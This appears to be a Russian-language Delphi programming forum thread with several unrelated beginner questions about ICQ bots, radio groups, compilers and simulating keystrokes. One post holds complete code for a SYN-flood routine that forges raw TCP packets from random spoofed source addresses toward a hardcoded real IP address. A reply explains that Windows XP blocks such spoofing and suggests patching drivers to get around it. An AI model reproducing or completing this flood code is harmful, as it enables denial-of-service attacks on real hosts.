ой извиняюсь.Нашел свою ошибку, всё дело в том что я компилил этот код в delphi 2010 и, видимо, он не совместим с этой версией delphi. Стоило мне установить delphi 7 и всё заработало. Огромное спасибо wolmer за код.
вопрос старый как свет....для начала прочти "Библия Delphi" Михаила Флеонова,если понравится,юзай дальше 4ет посерьезней
Вот пытаюсь отослать пару syn пакетов Code: type iph = record ip_verlen: byte; //Версия и длина ip_tos: byte; //Приоритет пакета ip_len: word; // Длина заголовка ip_id: word; // id -пакета ip_offset: word; //Смещение ip_ttl: byte; //Время жизни ip_protocol: byte; //Протокол ip_checksum: word; //Контрольная сумма ip_saddr: longword; //Адрес отправителя ip_daddr: longword; //Адрес получателя end; //TCP-заголовок tcph = record th_sport: word; //Порт отправителя th_dport: word; //Порт получателя th_seq: longword; // Последовательный номер th_ack: longword; // Подтвержденный номер th_len: byte; // Длина заголовка th_flags: byte; // Кодовые биты th_win: word; // Окно th_checksum: word; // Контрольная сумма th_upr: word; // Кодовые биты end; TBufferArray = array[0..65535] of byte; const Size = 40; function CheckSum(var Buffer; Size: integer): word; type TWordArray = Array[0..1] of word; var lSumm: LongWord; iLoop: integer; begin lSumm := 0; iLoop := 0; while Size > 1 do begin lSumm := lSumm + TWordArray(Buffer)[iLoop]; inc(iLoop); Size := Size - SizeOf(word); end; if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]); lSumm := (lSumm shr 16) + (lSumm and $FFFF); lSumm := lSumm + (lSumm shr 16); Result := word(not lSumm); end; function SINFLOOD (): Boolean; stdcall; var WSAData: TWSAData; FSocket: integer; op: integer; nTimeOver: integer; Buf: array [0..(Size - 1)] of Char; ipHeader: iph; FromIp:Pchar; j: integer; RandIp: integer; Buffer: array of char; zd:integer; g:integer; s:string; DestIp: Pchar; TCPHeader: tcph; port:integer; DataPointer: ^byte; TCPIP: TBufferArray; ChecksumSize: word; TcpHeaderLen: word; i:integer; SockAddr_in: TSockAddr; begin DestIp:='209.85.229.104'; port:=80; WSAStartUp(MAKEWORD(2,2), WSAdata); FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,nil,0,WSA_FLAG_OVERLAPPED); op:=1; setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeof(op)); nTimeOver:=1000; setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOver,sizeof(nTimeOver)); //Собираем пакет //Пишем версию и длину ip-пакета ipHeader.ip_verlen:=((4 shl 4) or sizeof(ipheader) div sizeof(longword)); ipHeader.ip_len:=htons(Size); ipHeader.ip_tos:=0; //Приоритет пакета ipHeader.ip_id:=1; //id-пакета ipHeader.ip_offset:=0; //смещение ipHeader.ip_ttl:=128; //время жизни пакета ipHeader.ip_protocol:=IPPROTO_TCP; //протокол //Генерируем рандомный ip-адресс FromIp:=''; for zd := 0 to 3 do begin g:=random(250)+4; if zd<>3 then begin s:=s+inttostr(g)+'.' end else begin s:=s+inttostr(g) end; end; FromIp:=Pchar(s); ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя //Заполняем TCP-заголовок TCPHeader.th_sport:=htons(Random(65000)); //Порт источника TCPHeader.th_dport:=htons(port); //Порт получателя TCPHeader.th_seq:=Random(4294967295); //Номер пакета TCPHeader.th_ack:=0; TCPHeader.th_len:=80; //SYN-пакет TCPHeader.th_flags:=2; TCPHeader.th_win:=htons(65535); TCPHeader.th_upr:=0; TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже //Расчет контрольной суммы DataPointer := @TCPIP[0]; FillChar(TCPIP, SizeOf(TCPIP), 0); Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr); Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr); DataPointer := pointer(integer(DataPointer) + 1); Inc(ChecksumSize); Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol)); DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol)); ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol); TcpHeaderLen := htons(sizeof(tcpHeader)); Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen)); ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader)); ChecksumSize := ChecksumSize + sizeof(tcpHeader); tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize); FillChar(TCPIP, sizeof(TCPIP), 0); DataPointer := @TCPIP[0]; Move(ipHeader, DataPointer^, sizeof(ipHeader)); DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader)); Move(tcpHeader, DataPointer^, sizeof(tcpHeader)); For i:=0 to 10 do begin if (sendto(FSocket,TCPIP,Size,0,SockAddr_in, Sizeof(SockAddr_In))=SOCKET_ERROR) then Writeln('Send error') else Writeln('Send ok'); end; end; begin SINFLOOD(); Writeln(IntToStr(GetLastError)); end. возникает ошибка 10047 Адрес не совместим с выбранным протоколом. Где я мог ошибиться? Или в Xp это не работает.? winsock2 брал от сюда http://sources.ru/delphi/winsock2.zip
XP не выпустит сырой пакет с IP который не принадлежит тебе. т.е. это небольшая защита от спуффинга. По этому в IP отправителя тебе нужно вписывать свой реальный IP Ну или патчить дрова)
ребят подскажите как в радиогруппе сделать шейп чередумый видимо/невидимый т.е к примеру у меня в радиогруппе 2 выбора: квадрат и треугольник когда я нажимаю на квадрат - появляется квадрат, а когда я нажимаю натреугольник квадрат скрывается и сообственно я вижу треугольник PS. НЕ СТИБИТЕ СТРОГО ЗА ГЛУППЫЕ ВОПРОСЫ, Я ТОЛЬКО НАЧИЮ ОСВАИВАТЬ!
помогите с TICQ Вот тут нужна помощь) Вот обработка в TICQ: Code: procedure TForm1.ICQClient1MessageRecv(Sender: TObject; Msg, UIN: String); var LogFile: TextFile; ICQ: Cardinal; begin icq := StrToInt(UIN); Memo1.Lines.Add(UIN + ': ' + Msg); if Msg= 'ник' then ICQClient1.SendMessage(icq, 'вы успешно зареганы') else ICQClient1.SendMessage(icq, 'Команда не найдена!'); end; как сделать чтобы команда "ник" писалась так: "ник желаемый ник" (пример: ник павел) как я понял надо что-то добавить в строке: Code: if Msg= 'ник' then ICQClient1.SendMessage(icq, 'вы успешно зареганы') подскажите что добавить чтобы была команда не просто слово ник а через пробел ещё слово можно написать было
эм ну msg:string в чём собственно проблемма? и зачем ещё одно слово?? if msg='f*ck my brain' then .... тра ля ля . при том почему бы в процедуре ввод ника не сделать. ты бота пишешь или что?
Приветствую всех. Прошу подсказать норм компилятр С++ НА windows xp sp3 и windows 7, Чтобы была совеместимость, если же не получиться, под windows 7 =) Жилательно на русском, чтобы Был прост в управлении, Заранее спс. Работал до этого с компилятор от майкрософт, Очень геморно все =)
1) Нахера ты это в раделе по Делфи разместил? 2) бери VS 2008 Pro Rus, Лучше не придумаешь под винду. 3) То что ты пишеш и оно не пашет под w7 то это не зависит от компилятора. VC++ 2008 имеет поддержку работы с манифестами под w7 и vista 4) если нужно чтото в плане системного программирования, то качай последюнюю WDK (новая вресия DDK) и там есть хидер и прочие хрени вплоть до w7
делаю так keybd_event(Ord('e'), 0, 0, 0); а он мне печатает "5" а я хочу чоб печатал "е" чё делать? =\
2 Ponchik функция принимает не аски код символа, а код виртуальной кнопки. В MSDN посмотри Virtual-Key Codes и там есть соответствие кнопок. e - $45 Чтобы делать большими буквами то нужно shift чтобы был виртуально нажат. keybd_event(VK_SHIFT, 0, 0, 0); // нажмем шифт keybd_event($45, 0, 0, 0);// выведем keybd_event($45, 0, 0, 0);// 2 больших буквы E keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); // уберем шифт keybd_event($45, 0, 0, 0); // выведем маленькую e
не не, я вот так делаю Code: for i:=1 to Length(edt1.Text) do begin keybd_event(Ord(edt1.Text[i]), 0, 0, 0); end; и если в edt1.Text 1 буква, он её печатает нормально, а вот если несколько, нихрена не печатает или какой-то бред печатает, щас он ваще мне Ctrl+Tab как-то зажал О_о Он зажимает клавиши, пробовал KEYEVENTF_KEYUP куда-то впихнуть, неполучается, незнаю куда Хотя может и действительно другие коды надо, щас попробую ======= Млять, чёто оно мне зажало, я жму на клаве 4 - открывается медиа плеер >_< Ну лан, на нумпад клаве пишу И вот тута коды http://delphi.about.com/od/objectpascalide/l/blvkc.htm 4C это L я пишу keybd_event(4C, 0, 0, 0); оно говорит Как мне ему 4C сказать? ======== БЛЕАТЬ! Жму на клаве "X" он мне "Центр мобильности Windows открывает" FFFFFFFFFFFFFFFFFFUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU Всё, нащёл, он мне кнопку Win зажал, гадина /me горе кодер >_<
в твоем случае нужно коды переводить данные из обычного кода в виртуальный. для этого есть функция VkKeyScan. Но при её юзанье ты потеряеш регистр букв. т.е. все будет маленькими или большими, взависимости от шифта. В твоем случае это так: keybd_event(VkKeyScan(edit1.Text[x]), 0, 0, 0); VkKeyScan возвращает в младшей части - код. А в старшей - инфу о кнопках ------------------- d делфи числа в шестнадчатиричной системе пишутся через $ типа $A1
Во. Замутил с поддержкой регистра букв. из Edit2 берет текст и вставляет в Edit1 Code: var x : integer; code : word; begin edit1.SetFocus; for x := 1 to length(edit2.Text) do begin code := VkKeyScan(edit2.Text[x]); if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, 0, 0); keybd_event(code, 0, 0, 0); if code and $100 <> 0 then keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); end; end;
да на регистр пох, он неуспевает печатать =\ буквы местами меняет/съедает, ппц... Чем ещё можно клавиши быстро нажимать? Токо чоб не хавало и не меняло местами =\
да без паузы там вобще катастрофа, у мя стоит пауза 15мс но оно так медлено печатает а буквы всёравно ест зараза